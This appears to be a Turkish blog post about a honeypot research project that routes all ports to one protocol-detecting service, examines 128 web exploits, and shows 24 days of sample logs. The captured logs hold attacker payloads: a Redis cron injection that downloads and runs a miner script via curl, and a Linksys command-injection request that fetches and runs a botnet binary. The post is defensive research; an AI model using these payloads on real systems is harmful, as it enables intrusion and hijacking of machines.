Siberkuvvet olarak çok basit bir araştırma projesi başlattık. Amacımızda mevcut balküpü sistemlerinin atak yüzeyini arttırarak daha çok veri toplamakdı. Bu amaçlada biraz kod geliştirdik, biraz kurulum yaptık ve bolca analiz gerçekleştirdik. Özetlede, tüm portları dinleyerek protokolü tespit etminin balküplerinde daha çok veri ürettiğini kanıtladık. Python ile nasıl protokol tespiti yapılır öğrendik. Bir bağlantıyı hiç düşürmeden, her bir bağlantı için yeni bir thread açarak bağlantı yönlendirme yaptık. HTTP balküplerinde response'un önemini doğrulamış olduk. Tüm kodları ve çalışma sonuçlarını da açık kaynak olarak yayınladık. Ayrıca balküpleri hakkında bir makale yazdık. Ve 24 gün boyunca çalıştırdığımız balküpünüzde toplanan 21282 adet parolayıda yine github sayfamızda yayınladık.
Projenin github sayfasına buradan ulaşabilirsiniz: https://github.com/siberkuvvet/siberkuvvet-honeypot
- İnternet üzerinden bir sunucu kiraladık. Üzerine ubuntu sanal makine kurduk.
- Özel bir servis yazdık. Bu servis RFC’lere göre HTTP, FTP, SSH, SMTP ve Telnet (hiç biri değilse) protokollerini tespit edebiliyor.
- SSH, FTP, Telnet ve HTTP için açık kaynak balküpleri kurduk (bu balküplerine projenin github sayfasından ulaşabilirsiniz)
- IP tables kuralı ile 1-65535 portuna kadar tüm portları yerelde 4141 portunu dinleyen bu servise yönlendirdik
- Servis gelen ilk paketi işleyerek protokol tespit ettik, daha sonra trafiği hiç kesmeden yerelde çalışan ilgili honeypota gönderdik.
- Saldırganlar bir portta birden fazla servis görebiliyor. Yani balküpünün kurulu olduğu sistemin 80. Portuna ftp ile bağlanırsanız FTP gibi davranıyor, HTTP gibi bağlanırsanız HTTP sunucusu gibi, SSH ile bağlanırsanız SSH sunucusu gibi davranıyor. Bu da atak yüzeyini oldukça arttırdı. Örnek ekran görüntüleri aşağıda. (Honeypot'un IP adresini honeypot olarak host dosyama tanımladım.)
Honeypot'un 80. portuna tarayıcı ile gidelim ve HTTP 200 cevap döndüğünü görelim.
Herhangi bir şey değiştirmeden şimdi 80. porta ssh bağlantısı yapmaya çalışalım. Sonuç aşağıda.
Aynı porta FTP ile bağlanmaya çalışalım.
Aynı porta telnet ile bağlanmaya çalışalım.
Gördüğünüz gibi dışarıdan bağlanıncatek bir portta birden fazla servis çalışıyormuş gibi duruyor. - Maliyeti düşürdük. Birden fazla honeypot tek bir sunucu üzerinde tüm portları dinleyerek çalıştı.
- Analizi kolaylaştırdık. Farklı balküpleri üzerinden tek bir yere veri çekmek yerine tek sunucu üzerinden kolay bir analiz sağladık.
- 128 adet exploit’in 55 tanesinin içerisinde bir koşul var.
- Bu 55 tanesinin 7 tanesinde hiç payload yok. Yani başarılı olup olmadığını direk tek bir isteğin cevabına bakarak anlıyor.
- Geri kalan 48 tanesinde birinci isteğin cevabında belli koşullara bakılıyor. Eğer koşul sağlanmıyorsa payload olan istek hiç gönderilmiyor. Bu koşullar HTTP cevabının 200 olması, 500 olması, içerisinde belirli bir string geçmesi olarak kategorize ettik.
- 18 adet exploit ilk isteğin cevabının 200 koduna sahip olmasını istiyor. Eğer cevap 200 ise payloadu gönderiyor.
- Yalnızca bir adet exploit ilk cevabın 500 koduna sahip olmasına bakıyor. Eğer koşul sağlanıyor ise paylodu gönderiyor.
- 29 adet exploit ise ilk cevap içerisinde bir metin arıyor Örneğin ‘exit’, ‘loginform’, ‘fail’ gibi kelimeler geçiyorsa paylodu gönderiyor.
Bu çalışmanın 24 günlük çıktıları özetleyip aşağıda paylaşıyoruz. Ek olarak bu çalışma sırasında şunu fark ettik. Özellikle HTTP isteklerinde bazı bağlantılara istek geliyor fakat bu istek tek başına anlamsız. Yani sanki sömürü test ediliyor fakat payload hiç ulaşmıyor. Acaba exploit kodlarında bir koşulu karşılamadığımız için HTTP balküpünde saldırı isteklerini göremiyor olabilir miyiz?
Hemen test için exploitdb’ye gittik 128 adet web exploitini indirdik ve tek tek inceledik.
HTTP Response’larının Balküpüne Yakalanan Saldırılara Etkisi
İnceleme sonuçlarını aşağıda paylaşıyorum.Özetle 128 adet exploitin yaklaşık 30 tanesinin payloadunu (kod çalıştırma, parola deneme gibi asıl işi yapan kısım) aslında hiç göremedik. Tüm listeyi erişmek için aşağıdaki bağlantıyı kullanabilirsiniz.
https://github.com/siberkuvvet/siberkuvvet-honeypot/blob/master/other_files/expoits_checks_v2.ods github sayfamızdan bulabilirsiniz.
Çıktılar
Yaklaşık 24 gün çalışan honeypot servisi için örnek çıktılar aşağıdadır.Örnek FTP çıktısı (toplam 495 satır)
{"timestamp": 1579999942, "command": "disconnected"}, {"timestamp": 1580003449, "command": "connected"}, {"timestamp": 1580003465, "command": "disconnected"}, {"timestamp": 1580004091, "command": "connected"}, {"timestamp": 1580004091, "command": "stats cachedump 1 0"}, {"timestamp": 1580004106, "command": "disconnected"}, {"timestamp": 1580028240, "command": "connected"}, {"timestamp": 1580028240, "command": "HELP"}, {"timestamp": 1580028240, "command": "STAT"}, {"timestamp": 1580028240, "command": "LIST"}, {"timestamp": 1580028663, "command": "disconnected"}, {"timestamp": 1580040301, "command": "connected"}, {"timestamp": 1580040301, "command": "HELP"}, {"timestamp": 1580040301, "command": "STAT"}, {"timestamp": 1580040301, "command": "LIST"},
Örnek SSH çıktısı (toplam 165906 satır, 21282 tekil parola)
{"timestamp": 1579431066, "user": "root", "pass": "123456qw4"}, {"timestamp": 1579431106, "user": "root", "pass": "12345gh"}, {"timestamp": 1579431107, "user": "root", "pass": "12345qwert"}, {"timestamp": 1579431107, "user": "root", "pass": "12345qwerta"}, {"timestamp": 1579431147, "user": "root", "pass": "123465"}, {"timestamp": 1579431148, "user": "root", "pass": "1234asdf"}, {"timestamp": 1579431148, "user": "root", "pass": "1234qwer"}, {"timestamp": 1579431192, "user": "root", "pass": "1234qwera"}, {"timestamp": 1579431193, "user": "root", "pass": "1234sa"}, {"timestamp": 1579431193, "user": "root", "pass": "123567"}, {"timestamp": 1579431238, "user": "root", "pass": "123654"},
Örnek Telnet Çıktıs (toplam 2987 satır)
{"timestamp": 1581483584, "command": "*3\r\n$3\r\nSET\r\n$5\r\nBack1\r\n$64\r\n\t\n*/1 * * * * curl -fsSL http://pm.cpuminerpool.com/pm.sh | sh"}, {"timestamp": 1581485042, "command": "INFO"}, {"timestamp": 1581485482, "command": "#ST"}, {"timestamp": 1581487051, "command": "*3\r\n$3\r\nSET\r\n$5\r\nBack1\r\n$64\r\n\t\n*/1 * * * * curl -fsSL http://pm.cpuminerpool.com/pm.sh | sh"}, {"timestamp": 1581487876, "command": "*3\r\n$3\r\nSET\r\n$5\r\nBack1\r\n$64\r\n\t\n*/1 * * * * curl -fsSL http://pm.cpuminerpool.com/pm.sh | sh"}, {"timestamp": 1581492345, "command": "killall -9 busybox"}, {"timestamp": 1581492962, "command": "killall -9 busybox"}, {"timestamp": 1581499122, "command": "#ST"}, {"timestamp": 1581499234, "command": "killall -9 busybox"}, {"timestamp": 1581499771, "command": "admin\nadmin"}, {"timestamp": 1581500512, "command": "#ST"}, {"timestamp": 1581501788, "command": "tlJwpbo6\", \"UserName\" : \"admin\" }"}, {"timestamp": 1581505201, "command": "*3\r\n$3\r\nSET\r\n$5\r\nBack1\r\n$64\r\n\t\n*/1 * * * * curl -fsSL http://pm.cpuminerpool.com/pm.sh | sh"}, {"timestamp": 1581510351, "command": "killall -9 busybox"}, {"timestamp": 1581514010, "command": "killall -9 busybox"},
Örnek HTTP Çıktısı (toplam 11787 adet tekil istek)
--261b8541-B-- POST /tmUnblock.cgi HTTP/1.1 Host: XXXXX Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded --261b8541-C-- ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Tsunami.mpsl%3B+wget+http%3A%2F%2F188.214.128.176%2Fbins%2FTsunami.mpsl%3B+chmod+777+Tsunami.mpsl%3B+.%2FTsunami.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&com --261b8541-E-- --261b8541-Z--